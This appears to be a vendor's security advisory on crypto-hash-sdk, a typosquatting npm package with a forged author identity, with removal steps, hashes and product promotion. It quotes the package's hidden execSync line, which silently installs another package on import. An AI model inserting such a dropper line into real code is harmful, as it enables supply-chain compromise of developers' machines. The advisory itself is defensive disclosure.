Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

crypto-hash-sdknpm

Malicious code in crypto-hash-sdk (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-4541
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall crypto-hash-sdk

What this malware does

Package name and metadata impersonate Sindre Sorhus's legitimate crypto-hash package (forged author Sindre Sorhus <[email protected]> and repository sindresorhus/crypto-hash in package.json), but the shipped code differs. index.js (lines 73-78) contains a top-level IIFE that calls execSync("npm uninstall prettier-sdk && npm install prettier-sdk", { stdio: "ignore", windowsHide: true }) — on any require()/import of this module, the installer's machine silently runs npm install for the unrelated prettier-sdk package, pulling and executing arbitrary remote code (including any lifecycle hooks of that package) with stdio suppressed and errors swallowed. This is a dropper that fetches unpinned remote code at import time, layered on top of a typosquat with forged author identity.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged
1.0.1

Indicators of compromise (SHA-256)

208571de648a5ef9d7b4ae7b6f83151d9c2272f75fc16b42faa75a352ded2e08
4af61786487896bee15341c54e1ca5a14c60f2a8832ab48e8dcb53fd922180a9

Detection & response playbook

Typosquat
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for crypto-hash-sdk (version 1.0.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging crypto-hash-sdk across your stack and pipelines.

  2. If you installed it — respond

    crypto-hash-sdk is a typosquat — you almost certainly intended a legitimately-named package. Remove crypto-hash-sdk, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If crypto-hash-sdk was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks crypto-hash-sdk before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. crypto-hash-sdk on npm has been identified as a malicious package (version 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-003249GHSA-hr6r-2xx8-mrh9

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks crypto-hash-sdk-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

crypto-hash-sdk (npm) malicious package — MAL-2026-4541 | O3 Security